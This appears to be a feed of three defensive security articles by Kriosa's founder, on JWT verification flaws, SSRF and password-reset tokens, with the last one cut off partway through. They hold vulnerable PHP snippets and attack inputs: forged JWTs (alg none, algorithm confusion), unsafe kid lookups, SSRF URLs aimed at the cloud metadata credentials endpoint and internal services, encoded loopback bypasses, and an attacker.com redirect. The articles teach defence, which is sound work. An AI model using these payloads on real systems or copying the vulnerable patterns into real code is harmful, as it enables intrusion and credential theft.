DEV Community: Nchiminyi — Founder, Kriosa

JWT Vulnerabilities: The Auth Bugs Hiding Behind a Green Checkmark

Nchiminyi — Founder, Kriosa — Thu, 17 Sep 2026 23:25:52 +0000

How algorithm confusion, the none algorithm, weak signing secrets, missing expiration checks, and improper claim validation can turn a cryptographically signed token into an attacker's path to unauthorized access.

Why JWTs get trusted more than they should

A JWT looks like proof.

Three base64url-encoded segments, a signature at the end, and a library that returns true or false can create the impression that a token is either valid or invalid. That confidence is exactly where many JWT security problems begin.

A signature only establishes integrity if the verifier agrees with the application about which algorithm was used, which key should verify it, and whether the token is still valid in context.

Get any of those wrong — or allow attacker-controlled input to influence the verification process — and "the signature checks out" can stop meaning what developers think it means.

JWTs are used for API authentication, SSO, mobile sessions, password-reset flows, and service-to-service authentication. That makes JWT verification logic part of a security boundary, and small implementation mistakes can have serious consequences.

The anatomy, quickly

A JWT consists of three base64url-encoded segments joined by dots:

header.payload.signature

For example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwiYWRtaW4iOnRydWV9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

The first two segments are encoded, not encrypted. Anyone holding the token can decode them without knowing the signing key:

// header
{
  "alg": "HS256",
  "typ": "JWT"
}

// payload
{
  "sub": "1234",
  "admin": true
}

That header is important because the token carries its own algorithm identifier.

The server therefore has to decide whether that algorithm is acceptable. It should not blindly accept whatever the token claims.

The payload is also attacker-controlled until the signature has been successfully verified. A decoded claim is data — not authentication.

Bug #1: Accepting the `none` algorithm

JWT defines none as an algorithm meaning that the token has no digital signature.

That can be legitimate in narrowly controlled scenarios, but an application using signed JWTs for authentication should not allow an attacker to switch a token into an unsigned mode.

The vulnerable pattern looks conceptually like this:

// DON'T DO THIS — trusting the algorithm supplied by the token
$header = json_decode(base64_decode($parts[0]), true);

if ($header['alg'] === 'none') {
    // Never treat an attacker-controlled header as permission
    // to skip authentication.
    return json_decode(base64_decode($parts[1]), true);
}

An attacker could modify the payload:

{
  "sub": "1234",
  "admin": true
}

and submit an unsigned token such as:

<modified-header>.<modified-payload>.

The important security flaw isn't the existence of none. It's allowing untrusted token input to determine whether signature verification happens at all.

Fix

The application should determine the accepted algorithm server-side.

With firebase/php-jwt, for example:

use Firebase\JWT\JWT;
use Firebase\JWT\Key;

$decoded = JWT::decode(
    $token,
    new Key($secret, 'HS256')
);

The verifier is explicitly configured to use HS256. The token does not get to select a different verification algorithm.

Modern JWT libraries have significantly reduced this class of vulnerability by making explicit algorithm/key configuration part of their APIs. The remaining risk is usually application code that bypasses those protections or reintroduces dynamic algorithm selection.

Bug #2: Algorithm confusion — RS256 tokens verified as HS256

Algorithm confusion is more subtle.

It primarily affects implementations using asymmetric algorithms such as RS256, where:

the issuer signs with a private key;
the verifier checks the signature with the corresponding public key.

The public key is intentionally not secret. It may even be published through a JWKS endpoint.

The dangerous implementation pattern is one where the token can influence the selected algorithm and the verification code is willing to use the same configured key material across incompatible algorithm families.

Conceptually:

// DON'T DO THIS
$header = json_decode(base64_decode($parts[0]), true);

$key = getPublicKeyForVerification();

// The token is influencing which verification algorithm is used.
$decoded = JWT::decode(
    $token,
    new Key($key, $header['alg'])
);

If an implementation changes from RSA verification to HMAC verification based on an attacker-controlled alg value, the public RSA key may be interpreted as an HMAC secret.

Because the public key is not secret, an attacker who knows it could potentially construct an HMAC-signed token using that public value.

Conceptually:

$forgedToken = JWT::encode(
    ['sub' => '1', 'admin' => true],
    $publicKeyPem,
    'HS256'
);

Whether this works depends on the exact library and application configuration. It is not a universal property of JWT or RS256.

Fix

Pin the algorithm and match it to the expected key type:

$decoded = JWT::decode(
    $token,
    new Key($rsaPublicKey, 'RS256')
);

If multiple algorithms are genuinely required, the application should maintain an explicit mapping between algorithms and compatible keys rather than allowing the token to select an arbitrary combination.

For example:

RS256 → RSA public key
ES256 → EC public key
HS256 → HMAC secret

The token's alg value should be treated as an input to validate, not as an instruction the server must obey.

Bug #3: Weak, guessable, or brute-forceable HMAC secrets

HS256 security depends heavily on the secrecy and unpredictability of the HMAC key.

Weak defaults are still a common problem:

// DON'T DO THIS
$secret = 'secret';
$secret = env('JWT_SECRET', 'changeme');
$secret = 'my-app-jwt-key-2023';

An attacker who obtains a valid HS256 token can test candidate secrets offline. There is no login endpoint or rate limiter involved in that process.

If the secret is weak enough to appear in a dictionary or predictable pattern, an attacker may recover it and then generate valid tokens.

Fix

Generate a cryptographically random secret:

$secret = bin2hex(random_bytes(32));

That produces 256 bits of random data.

Store the resulting value securely rather than committing it to source control:

JWT_SECRET=<random-secret>

Do not ship weak development defaults such as:

secret
changeme
password
jwt-secret
my-app-key

For architectures where multiple independent services need to verify tokens but should not be able to mint them, asymmetric signing can also reduce the blast radius of a compromised verification component because the verifier only needs the public key.

Bug #4: Missing or ignored expiration

The exp claim defines when a JWT expires.

For example:

{
  "sub": "1234",
  "iat": 1750000000,
  "exp": 1750000900
}

The important distinction is that the payload itself is not trusted simply because it contains exp.

The application must verify the token's signature and then enforce the registered claims according to its security policy.

A vulnerable implementation might simply decode the payload:

// DON'T DO THIS
$payload = json_decode(
    base64_decode($parts[1]),
    true
);

$userId = $payload['sub'];

That is not authentication.

A secure verifier should perform cryptographic verification and enforce expiration.

For example:

$payload = [
    'sub' => $userId,
    'iat' => time(),
    'exp' => time() + 900, // 15 minutes
];

$token = JWT::encode(
    $payload,
    $secret,
    'HS256'
);

With firebase/php-jwt, expiration is checked during decoding when the exp claim is present and validation has not been disabled.

try {
    $decoded = JWT::decode(
        $token,
        new Key($secret, 'HS256')
    );
} catch (\Firebase\JWT\ExpiredException $e) {
    respond_unauthorized();
}

But there is an important application-level question:

What happens if exp is missing?

If your security model requires every access token to expire, a missing exp should be rejected rather than treated as "no expiration."

Short-lived access tokens combined with a separate refresh-token mechanism are generally easier to contain than long-lived access tokens.

Bug #5: Missing issuer and audience validation

A token can have a perfectly valid signature and still be the wrong token for the endpoint receiving it.

This matters especially in microservice architectures.

Imagine:

Authentication Service
        │
        ├── issues token for billing-service
        │
        ▼
Billing API

and another service:

Authentication Service
        │
        └── issues token for admin-service

If multiple services trust the same signing infrastructure but don't validate the token's intended audience, a valid token issued for one service may potentially be replayed against another.

A verifier that only checks the signature:

$decoded = JWT::decode(
    $token,
    new Key($secret, 'HS256')
);

$userId = $decoded->sub;

hasn't established that the token was actually intended for this service.

Fix

Include issuer and audience claims where your architecture requires them:

$payload = [
    'iss' => 'https://auth.example.com',
    'aud' => 'billing-service',
    'sub' => $userId,
    'iat' => time(),
    'exp' => time() + 900,
];

Then validate them during verification:

if (
    $decoded->iss !== 'https://auth.example.com' ||
    $decoded->aud !== 'billing-service'
) {
    respond_unauthorized();
}

The exact validation mechanism depends on the JWT library.

The important principle is:

A valid signature does not automatically mean a valid token for this service.

Bug #6: Unsafe `kid` handling

The kid header identifies a signing key.

For example:

{
  "alg": "RS256",
  "kid": "key-2026-01",
  "typ": "JWT"
}

Using kid to select among trusted keys is legitimate and common.

The problem appears when an application treats the attacker-controlled value as a trusted filesystem path, database expression, URL, or query fragment.

For example:

// DON'T DO THIS
$key = file_get_contents(
    "/keys/{$header['kid']}.pem"
);

Or:

// DON'T build raw queries from attacker-controlled input.
$key = DB::select(
    "SELECT key FROM keys WHERE id = '{$header['kid']}'"
);

Depending on the surrounding implementation, unsafe handling could create path traversal, injection, unexpected key selection, or other vulnerabilities.

Fix

Treat kid as untrusted input.

Prefer a strict lookup against known identifiers:

$allowedKeys = [
    'key-2026-01' => $rsaPublicKey,
    'key-2026-02' => $nextRsaPublicKey,
];

if (!isset($allowedKeys[$kid])) {
    respond_unauthorized();
}

$key = $allowedKeys[$kid];

If a database is required, use parameterized queries and constrain the lookup to the keys that the service is actually authorized to trust.

Never allow an arbitrary kid value to become an arbitrary filesystem path or query.

What your JWT library already does for you

Modern JWT libraries handle a significant portion of the cryptographic work, but they cannot determine your application's trust model.

For example, firebase/php-jwt requires the verification key and allowed algorithm to be supplied to decode(). That helps prevent applications from blindly accepting an algorithm selected by the token.

lcobucci/jwt similarly uses explicit configuration for signing and validation rather than treating the token's header as an authorization decision.

The important distinction is:

The library can enforce cryptographic rules. It cannot decide your application's security policy.

It cannot know:

which issuer your application trusts;
which audience this API should accept;
whether every access token must contain exp;
how long tokens should live;
which users or sessions should be revoked;
which services should trust which tokens;
whether a kid is authorized for a particular endpoint.

Those are application-level decisions.

What libraries cannot fix

A correctly configured library cannot compensate for a weak secret:

$secret = 'secret';

It cannot add an aud claim that you never issued.

It cannot decide that an old token should be revoked because a user's permissions changed.

And it cannot protect an application if developers decode the payload manually and use its claims before verification.

The rule is simple:

Decode for inspection if you need to. Trust only after verification.

Detection as a second layer

A correctly configured JWT implementation should prevent the known verification failures.

Detection still matters because authentication systems evolve.

Useful signals include:

unexpected algorithm values;
repeated algorithm mismatches;
malformed JWT structures;
unusual or invalid kid values;
repeated signature-verification failures from the same source;
tokens with audiences that don't match the endpoint;
repeated requests using expired tokens;
sudden changes in authentication failure patterns.

But context matters.

A single failed JWT can simply be a broken client.

A malformed kid can be a scanner, a misconfigured integration, or a developer testing an endpoint.

A burst of different algorithm values against the same authentication endpoint is more interesting because it may indicate systematic probing.

The important word is pattern.

A detection signal is not proof of an attack, and detection is not the same as prevention.

This is where an application-level security layer such as Kriosa can complement secure JWT verification.

See It Blocked: Try the Live Sandbox

Reading about an alg: none bypass is one thing — watching it get stopped is another. The Kriosa sandbox lets you send a forged token (unsigned, or algorithm-confused) at a Kriosa-protected auth endpoint and watch it get flagged and blocked in real time — no signup required.

Try the JWT sandbox →

What Is Kriosa?

Kriosa is an application-level security layer for PHP and Laravel applications.

It sits at the application boundary and analyzes incoming requests for suspicious traffic before that traffic reaches sensitive application logic.

For JWT-based authentication, Kriosa can provide an additional detection and visibility layer around suspicious token activity, such as:

unexpected algorithm values;
repeated malformed tokens;
suspicious kid patterns;
authentication probing;
repeated verification failures;
unusual token-related request behavior.

But Kriosa is not a replacement for secure JWT verification.

The primary defense remains the verification implementation itself.

Your application still needs to:

Pin accepted algorithms.
Use strong signing keys.
Verify signatures correctly.
Enforce expiration.
Validate issuer and audience where required.
Safely resolve kid.
Implement appropriate revocation/session controls.

Kriosa adds visibility around the traffic reaching those controls.

How Kriosa Can Help Detect Suspicious JWT Activity

JWT abuse is fundamentally an application-layer problem.

The dangerous condition isn't simply:

JWT verification failed

because legitimate applications generate plenty of those.

A mobile client may send an expired token.

A browser may hold stale authentication state.

A service integration may send a malformed token after a deployment.

The more useful signal is behavior across requests.

For example:

Request 1 → alg: HS256
Request 2 → alg: RS256
Request 3 → alg: none
Request 4 → malformed kid
Request 5 → repeated signature failure
Request 6 → different malformed kid

One request may be meaningless.

A sequence like this provides much more useful security telemetry.

Kriosa can help developers identify, log, investigate, and respond to suspicious application-layer authentication behavior.

The distinction remains important:

Detection is not prevention.

If JWT verification is broken, the verification code needs to be fixed.

Prevention Comes First

A secure JWT implementation should:

Pin accepted verification algorithms server-side.
Explicitly reject algorithms your service does not support.
Never derive the verification algorithm from the token alone.
Use cryptographically random HMAC secrets when HMAC is appropriate.
Keep signing secrets outside source control.
Use asymmetric signing when its trust model fits the architecture.
Set exp on access tokens and enforce it.
Validate iss and aud where tokens cross trust boundaries.
Validate kid against trusted key identifiers.
Use short-lived access tokens where appropriate.
Use refresh-token mechanisms for longer sessions.
Provide a revocation strategy appropriate to the application.
Log and monitor meaningful authentication failures.

These controls address the vulnerability itself.

Detection Adds Another Layer

Security controls can fail during future development.

A developer can introduce dynamic algorithm selection.

A new microservice can be added without updating audience validation.

A key rotation can introduce unsafe kid handling.

A configuration change can accidentally restore a weak development secret.

A library upgrade can change behavior that developers previously relied upon.

That's why defense in depth matters.

A practical security model can look like:

Secure verification → Claim validation → Detection → Logging & response

Kriosa fits into the detection layer.

Your verification logic should prevent the vulnerability.

Your claim validation should reject expired, misscoped, or otherwise unacceptable tokens.

Kriosa can provide additional visibility into suspicious application traffic.

Your logging and monitoring infrastructure can help your team investigate and respond.

Kriosa does not make broken JWT verification safe. It adds another layer of visibility around the traffic attempting to reach it.

JWT Security Checklist

Before shipping or auditing a JWT-based authentication flow:

[ ] Is the accepted algorithm pinned server-side?
[ ] Is the token's alg value treated as untrusted input?
[ ] Are unsupported algorithms explicitly rejected?
[ ] Is none prevented from becoming an unintended authentication bypass?
[ ] If using asymmetric signing, can an RSA/EC public key ever be interpreted as an HMAC secret?
[ ] Is the HMAC secret cryptographically random and sufficiently strong?
[ ] Is the secret stored outside source control?
[ ] Is exp present on every token that is supposed to expire?
[ ] Is exp actually enforced by the verification flow?
[ ] Are missing expiration claims rejected when expiration is mandatory?
[ ] Are iss and aud validated where the architecture requires them?
[ ] Is kid validated against a strict allowlist of known key identifiers before being used to look up a key?
[ ] Are access tokens short-lived, with a separate refresh-token mechanism for longer sessions?
[ ] Is there a revocation strategy for tokens that need to be invalidated before their natural expiration?
[ ] Are verification failures — especially algorithm mismatches and malformed kid values — logged and monitored?

The goal isn't to trust a signature because a library returned true. It's to make sure that true only happens when the algorithm, the key, the expiration, and the intended audience all agree with what your application actually issued and actually expects.

Try Kriosa

If you want an additional application-level security layer for your PHP or Laravel application:

See it stop a JWT bypass attempt yourself: Try the live sandbox →

Install it with Composer:

composer require kriosa-ai/kriosa-php

Documentation: Kriosa Documentation

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

Kriosa — sleep better, we're awake.

SSRF: The Vulnerability Hiding in Every Paste a URL Feature

Nchiminyi — Founder, Kriosa — Tue, 15 Sep 2026 09:37:42 +0000

Originally published on Kriosa

How server-side URL fetching can expose internal services and how to build these features without turning your server into an attacker's proxy.

Why this is everywhere now

Ten years ago SSRF was a niche finding buried in the appendix of a pentest report. Today it's one of the highest-impact bugs in the OWASP Top 10, and the reason is boring: modern apps fetch URLs on the user's behalf, constantly.

Webhooks — "give us a URL and we'll POST to it when something happens."
Image proxies / avatar uploaders — "paste a link to your profile picture."
PDF and screenshot generation — "render this URL as a PDF/image for the user."
Link previews — "paste a link in chat and we'll show a rich preview card."

Every one of these features has the same shape: a user supplies a URL, and the server not the user's browser fetches it. That's the entire vulnerability class in one sentence. The server has network access the user doesn't: internal services, admin panels, databases on private IPs, and — on every major cloud provider a metadata endpoint that hands out credentials to anyone who can reach it.

A previous piece on this account touched on SSRF only in passing, as a side note inside a discussion of insecure deserialization. It deserves its own treatment, because it doesn't require deserializing anything, doesn't require a memory-corruption bug, and doesn't even require authentication in a lot of real-world cases. It just requires a text box that accepts a URL and a server willing to fetch it.

The attack narrative

Say your app has an image proxy: paste a URL, the server fetches it, resizes it, and serves it back. The naive implementation:

// DON'T DO THIS
$url = $_GET['url'];
$image = file_get_contents($url);
header('Content-Type: image/jpeg');
echo $image;

This works perfectly for https://example.com/cat.jpg. It also works perfectly for:

http://169.254.169.254/latest/meta-data/iam/security-credentials/

169.254.169.254 is the cloud instance metadata endpoint — on AWS, GCP, Azure, and most others, any process on the instance (including, in this case, your web server acting on the attacker's behalf) can query it without authentication. On AWS specifically, that endpoint can hand back temporary IAM credentials for whatever role the instance is running as. If that role has S3, RDS, or Lambda permissions, the attacker didn't just read an image — they now have working AWS credentials, exfiltrated through your image proxy, without ever touching your app's actual authentication.

Even without a cloud metadata endpoint in play, the same request can be pointed at:

http://localhost:6379/          # an unauthenticated Redis instance
http://192.168.1.50:8080/admin  # an internal admin panel with no auth wall,
                                 # because "it's internal, nobody can reach it"
http://10.0.0.5:5432/           # a database port, for banner-grabbing / probing

None of this requires the attacker to be on your network. It requires your server to make one HTTP request on their behalf, to an address they chose.

Where SSRF actually hides

It's rarely the obvious "image proxy" example in a real codebase. It's usually one of these, added months apart by different people, none of whom were thinking about the other three:

Webhook registration — a user configures a callback URL, and your job queue fetches it later, with no user present to notice anything odd about where the request goes.
PDF/screenshot generation — "render this invoice as a PDF" often means spinning up a headless browser and pointing it at a URL. A headless Chrome instance following window.location redirects is a full SSRF engine with a UI.
Link unfurling — chat apps, note-taking tools, and CMSs that show a title/image/description for a pasted link all fetch that link server-side, unauthenticated, the instant it's pasted — often before the user even sends the message.
"Import from URL" — CSV imports, avatar-from-URL, "sync this doc from a link" — any feature phrased as fetch this and do something with it is a candidate.

If you can grep your codebase for curl_exec, file_get_contents(, Http::get(, GuzzleHttp\Client, or a headless-browser goto()/->visit() call and find one where the URL traces back to user input, you've found a candidate.

Why the obvious fixes don't work

The first instinct is usually a blocklist: reject localhost, 127.0.0.1, and private IP ranges. This is necessary but nowhere near sufficient, and it's worth walking through why, because every bypass here has shown up in real bug bounty reports.

Encoding tricks. 127.0.0.1 has a lot of equivalent spellings a naive string-match blocklist won't catch:

http://2130706433/           # decimal IP encoding of 127.0.0.1
http://0x7f000001/           # hex encoding
http://0177.0.0.1/           # octal encoding
http://127.1/                # shorthand form
http://[::ffff:127.0.0.1]/   # IPv4-mapped IPv6

Redirects. Even if the initial URL passes validation, an attacker-controlled server can respond with a 302 to an internal address:

GET /redirect-me HTTP/1.1
Host: attacker.com

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/

If your HTTP client follows redirects by default (most do, including Guzzle and cURL), you validated a URL that was never actually fetched — the one that got fetched was chosen by the attacker's server after your check ran.

DNS rebinding. This is the one that breaks "resolve the hostname, check the IP, then fetch it" logic specifically. An attacker sets up a domain with a very short DNS TTL. The first resolution — the one your validation code sees — returns a public, harmless IP. By the time the actual HTTP client re-resolves the same hostname a moment later to make the connection, the DNS record has changed to point at 169.254.169.254 or an internal address. The check and the fetch ran against two different IPs for the same hostname, because DNS resolution isn't pinned between them.

None of these are exotic. They're the standard toolkit, and a blocklist-only defense falls to at least one of them almost every time.

Building it correctly

1. Prefer an allowlist over a blocklist wherever the feature allows it. If your image proxy only ever needs to fetch from a handful of known CDNs, allowlist those hostnames explicitly. This closes the entire class of bypass above in one step, because there's no "everything except X" logic to route around.

2. When an allowlist isn't possible, validate the IP you're actually connecting to — not the hostname you started with.

function isBlockedIp(string $ip): bool
{
    // Reject private, loopback, link-local, and reserved ranges —
    // this must cover IPv6 equivalents too, not just IPv4.
    $blocked = [
        '127.0.0.0/8', '10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16',
        '169.254.0.0/16',   // link-local — this is what covers the cloud
                            // metadata endpoint on AWS/GCP/Azure
        '::1/128', 'fc00::/7', 'fe80::/10',
    ];

    foreach ($blocked as $range) {
        if (ipInRange($ip, $range)) {
            return true;
        }
    }
    return false;
}

3. Resolve the hostname, validate the resulting address, and make sure the HTTP client actually connects using that validated address — not a fresh resolution of its own. This is the part that closes DNS rebinding: the gap isn't "did you check the IP," it's "did the connection use the IP you checked." A simple gethostbyname() call is a starting point, but it isn't the whole fix on its own — it only returns an IPv4 address, so it does nothing for IPv6, and calling it doesn't guarantee anything about which address your HTTP client ends up connecting to if that client performs its own independent DNS lookup afterward. In production, use an HTTP client or network layer that lets you control DNS resolution directly, or otherwise pin the destination for the connection — for example, a custom resolver/handler in your HTTP client, or a curl CURLOPT_RESOLVE mapping — so the same address you validated is the one actually opened.

4. Disable automatic redirect-following, or validate every hop. With Guzzle:

$client->request('GET', $url, [
    'allow_redirects' => false, // handle redirects yourself, re-validating
                                 // the Location header through the same
                                 // isBlockedIp() check before following it
]);

5. Restrict scheme and port. file://, gopher://, and dict:// handlers in some HTTP libraries can be abused for local file reads or protocol smuggling if a URL parser accepts them at all. Explicitly allow only http/https, and consider restricting to standard ports (80/443) unless the feature genuinely needs otherwise.

6. For anything render-heavy (headless browser PDF/screenshot generation), run it in a network-isolated environment. A headless Chrome instance that can reach your internal network is SSRF with JavaScript execution attached. Give it its own egress rules, separate from the rest of your infrastructure, and block the metadata endpoint at the network layer (or require IMDSv2 on AWS, which requires a token from a PUT request that most simple SSRF payloads can't perform) as a second line of defense.

The pattern across all of this: validate what you're actually going to connect to, at the moment you connect to it — not a proxy for that (the hostname, the first DNS answer, the first URL before a redirect). Every SSRF bypass technique above is a variation on attacking the gap between what got validated and what got fetched.

Detection, as a second layer

Even a correctly built fetcher benefits from visibility into who's testing its edges. Patterns worth flagging:

Repeated requests where the target resolves to a private, loopback, or link-local range, especially 169.254.169.254 specifically.
A burst of URLs using IP-encoding tricks (decimal, hex, octal, IPv6-mapped) against the same feature in a short window — a strong signal of deliberate blocklist probing rather than a legitimate one-off.
A webhook or import URL that resolves differently on successive requests in a way consistent with DNS rebinding (same hostname, IP changing between requests).
Fetches to non-standard ports or non-HTTP(S) schemes on an endpoint that should only ever see image or document URLs.

This is exactly the kind of traffic pattern a detection layer like Kriosa is positioned to flag. Kriosa can help detect and surface SSRF probing, but it does not replace destination validation, redirect controls, DNS handling, or network-level isolation — it watches for the probing that suggests someone is testing whether those controls can be bypassed, after they're in place, not instead of them.

What Is Kriosa?

Kriosa is an application-level security layer for PHP and Laravel applications. It sits at the application boundary and analyzes incoming requests for suspicious traffic before that traffic reaches sensitive application logic.

For features that fetch a user-supplied URL webhooks, image proxies, PDF/screenshot generation, link previews Kriosa provides an additional detection and visibility layer by helping surface suspicious request patterns associated with attempts to probe, bypass, or abuse those fetches.

But Kriosa is not a replacement for building the fetch correctly.

If your application exposes any feature where the server requests a URL on a user's behalf, the primary fix is to get that fetch itself right allowlisting where possible, validating the resolved address rather than just the hostname, pinning the connection to that validated address, disabling or re-validating redirects, and restricting scheme and port.

Think of Kriosa as defense in depth, not a substitute for a correctly implemented fetch.

How Kriosa Can Help Detect Suspicious SSRF Activity

SSRF is fundamentally an application-layer problem.

The dangerous condition is not simply that someone submitted a URL to be fetched. Legitimate users paste webhook URLs, image links, and documents to render constantly, and a single fetch is completely normal.

The real problem is when a pattern of requests suggests someone is probing the fetch itself — testing IP-encoding tricks, chaining redirects toward internal addresses, exploiting DNS rebinding, or repeatedly targeting the cloud metadata endpoint.

That makes detection useful as an additional layer, but it does not change where the vulnerability must ultimately be fixed: in the fetch logic itself.

Patterns worth investigating include:

- URLs resolving to private, loopback, or link-local ranges, especially 169.254.169.254
- A burst of decimal/hex/octal/IPv6-mapped IP encodings against the same feature
- The same hostname resolving to different IPs across successive requests (rebinding)
- Fetches to non-standard ports or non-HTTP(S) schemes on an image/document-only endpoint

For example, a burst of requests carrying encoded loopback addresses against a single image-proxy endpoint may be worth investigating even though no individual request looks obviously malicious.

The important word is pattern.

A single unusual URL is not automatically an attack. Context and volume matter.

Kriosa can add another layer of visibility by helping developers identify suspicious request patterns, unusual redirect chains, and repeated probing of URL-fetching endpoints.

The distinction is important:

A detection signal is not proof of an attack, and detection is not the same as prevention.

Prevention Comes First

The application should still:

Prefer an allowlist of known hostnames over a blocklist wherever the feature allows it.
Validate the IP actually being connected to, not just the original hostname.
Pin the resolved address between validation and connection so DNS can't change underneath the check.
Disable automatic redirect-following, or re-validate every hop before following it.
Restrict the URL scheme to http/https only, and consider restricting ports.
Run any headless-browser rendering (PDF/screenshot generation) in a network-isolated environment.
Block the cloud metadata endpoint at the network layer, or require a token-based metadata API (like IMDSv2 on AWS), as a second line of defense.

These controls address the vulnerability itself.

Detection Adds Another Layer

A correctly built fetcher closes off the known failure modes, but it does not guarantee that every future change to the feature preserves that correctness.

An attacker sweeping a feature with encoded IPs, or repeatedly chaining redirects toward internal addresses, may be attempting to find a gap in the implementation or attempting to reach the metadata endpoint live.

That activity is useful security telemetry.

Kriosa is designed to provide additional application-level protection and visibility into suspicious traffic helping developers detect, log, investigate, and respond to activity that may indicate an SSRF attempt.

Even a well-built Guzzle or cURL setup won't, on its own, flag a burst of probing across dozens of encoding variants against the same endpoint — that's a pattern-over-time observation, not a single-request validation decision, and it's exactly the kind of traffic pattern a detection layer is positioned to flag.

The goal is not to make an unvalidated fetch safe.

The goal is to get the fetch right first, then add visibility around the traffic attempting to reach it.

Why Kriosa?

Security controls can fail.

A developer can add a new "import from URL" feature months after the original allowlist was written and forget to route it through the same validation. A proxy change can stop stripping a forged header that redirect-validation logic relied on. A dependency upgrade can change an HTTP client's default redirect behavior without anyone noticing. A headless-browser feature can get added without anyone considering its network access is a fetch surface too.

That is why defense in depth matters.

A practical security model can look like:

Secure fetch → Destination validation → Detection → Logging & response

Kriosa fits into the detection layer.

Your fetch logic should prevent the vulnerability.

Your validation should reject unresolved, private, or malformed destinations.

Kriosa can provide additional visibility into suspicious application traffic.

Your logs and monitoring can help you investigate and respond.

Kriosa does not replace a secure fetch. It adds another layer for detecting and monitoring the traffic that reaches it.

SSRF Prevention Checklist

Before shipping any feature where the server fetches a user-supplied URL:

[ ] Can this be an allowlist of known hostnames instead of a blocklist? If yes, do that and skip the rest of this list.
[ ] Is every private, loopback, link-local (169.254.0.0/16), and reserved IP range blocked — for both IPv4 and IPv6?
[ ] Is the IP actually being connected to validated, not just the original hostname?
[ ] Is the resolved IP pinned between validation and connection, so DNS can't change underneath the check (rebinding)?
[ ] Is automatic redirect-following disabled, or is every redirect hop re-validated before being followed?
[ ] Is the URL scheme restricted to http/https only — no file://, gopher://, dict://?
[ ] Are decimal/hex/octal/IPv6-mapped IP encodings normalized before the blocklist check runs, not bypassed by them?
[ ] If this feature uses a headless browser (PDF/screenshot generation), does it run in a network-isolated environment with its own egress rules?
[ ] Is the cloud metadata endpoint blocked at the network layer, or is IMDSv2 (token-required) enforced, as defense in depth beyond the application-level check?
[ ] Are requests to internal ranges or the metadata endpoint logged and monitored, even when blocked?

The goal isn't to write one clever check. It's to make sure that at the exact moment your server opens a connection, it's opening it to an address the application chose to trust — not an address an attacker steered it toward through a redirect, a DNS trick, or an encoding quirk.

Try Kriosa

If you want an additional application-level security layer for your PHP or Laravel application:

Try Kriosa: kriosa.com

Install it with Composer:

composer require kriosa-ai/kriosa-php

Documentation: Kriosa Documentation

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

Kriosa — sleep better, we're awake.

The Password Reset Flow: Where Good PHP & Laravel Developers Ship Bad Security

Nchiminyi — Founder, Kriosa — Fri, 11 Sep 2026 16:56:43 +0000

A synthesis of secure token generation, constant-time comparison, rate limiting, and PHP's type system applied to the one feature that, when broken, can hand over an account.

Every PHP course teaches these concepts in isolation: "use random_bytes() for tokens," "use hash_equals() for comparisons," "rate limit your endpoints," "watch out for type juggling with ==." They're presented as separate lessons, separate quiz questions, separate checklist items.

Then a developer sits down to build "forgot password," combines all four incorrectly, and ships an account takeover vulnerability that passes code review because each individual line looks fine.

Password reset is the perfect case study because it's small enough to fit in one article and high-stakes enough that every shortcut has a name and a CVE history. Almost every step in the flow has a security failure mode. Let's break it seven different ways before we get it right — then look at how much of this Laravel already solves for you, and where it doesn't.

The flow, in theory

User submits their email.
Server generates a reset token, stores it (hashed) with an expiration, emails a link containing the token.
User clicks the link.
Server validates the token: does it exist, does it match, has it expired, has it been used.
User sets a new password.
Server invalidates the token and (ideally) every existing session.

Bug #1: The predictable token

// DON'T DO THIS
$token = md5(time() . $user['email']);

This looks like "generating something unique," and it compiles, and it works in the demo. It is also completely guessable. time() has second-level resolution — an attacker targeting a known email address can brute-force the exact timestamp window in seconds, especially if they can trigger the reset themselves and observe roughly when it was generated. md5() of a short, mostly-known input space is not cryptographic protection; it's obfuscation with extra steps.

The same failure shows up with uniqid(), mt_rand(), or anything seeded from predictable state. uniqid() is explicitly documented as not suitable for security purposes — it encodes the current time in microseconds, and even uniqid(..., true) (the "more entropy" flag) is guessable enough that it should never appear in an auth flow.

Fix:

$token = bin2hex(random_bytes(32)); // 64 hex characters, CSPRNG

random_bytes() pulls from the OS's cryptographically secure random source. 32 bytes gives you 256 bits of entropy — nobody is brute-forcing that within the token's lifetime, full stop. This is the same primitive you'd use for session IDs or CSRF tokens, because it's solving the same problem: produce a value an attacker cannot predict or reproduce.

Bug #2: Storing the token in plaintext

Say you got step one right — the token is unguessable. Now:

$stmt = $pdo->prepare(
  "INSERT INTO password_resets (email, token, expires_at) VALUES (?, ?, ?)"
);
$stmt->execute([$email, $token, $expiresAt]);

The token sits in your password_resets table exactly as it was emailed. If that table leaks — SQL injection elsewhere in the app, a misconfigured backup, a careless SELECT * logged somewhere — every unexpired reset token is immediately usable by whoever has the dump. There's no reason for the server to ever need the raw token again after emailing it; it only needs to verify that what the user presents matches what it issued.

Fix: hash the token before storing it, the same way you'd never store a plaintext password, and validate the shape of whatever comes back from the client before you touch it:

$token = bin2hex(random_bytes(32));
$tokenHash = hash('sha256', $token);

$stmt = $pdo->prepare(
  "INSERT INTO password_resets (email, token_hash, expires_at, used) VALUES (?, ?, ?, 0)"
);
$stmt->execute([$email, $tokenHash, $expiresAt]);

// Only the raw $token goes in the emailed URL - never stored anywhere.
mail_reset_link($email, $token);

// On the incoming request - before it ever reaches a query or a hash function
$submittedToken = $_GET['token'] ?? null;

if (!is_string($submittedToken) || !preg_match('/^[a-f0-9]{64}$/', $submittedToken)) {
    respond_invalid_or_expired();
}

That validation step matters for its own reasons — it stops a stray array (token[]=x) or an unexpected type from ever reaching your comparison or database logic, closing off a whole category of "well, that shouldn't have been possible" bugs before they start.

Notice the storage choice is deliberately not password_hash() / bcrypt. Bcrypt is designed to be slow, to resist offline brute-forcing of low-entropy human passwords. A reset token already has 256 bits of entropy — a fast hash like SHA-256 is appropriate and correct here; the security comes from the token's randomness, not from hashing cost. Using bcrypt on a token you're about to look up by exact match is a sign the two concepts (password hashing vs. token fingerprinting) got merged incorrectly.

Bug #3: Comparing tokens with `==` instead of `hash_equals()`

Here's the part where "use hash_equals()" from the course actually matters — though it's worth being precise about why, because it's easy to overstate this one.

// DON'T DO THIS
$row = $stmt->fetch();
if ($row['token_hash'] == hash('sha256', $submittedToken)) {
    // proceed with reset
}

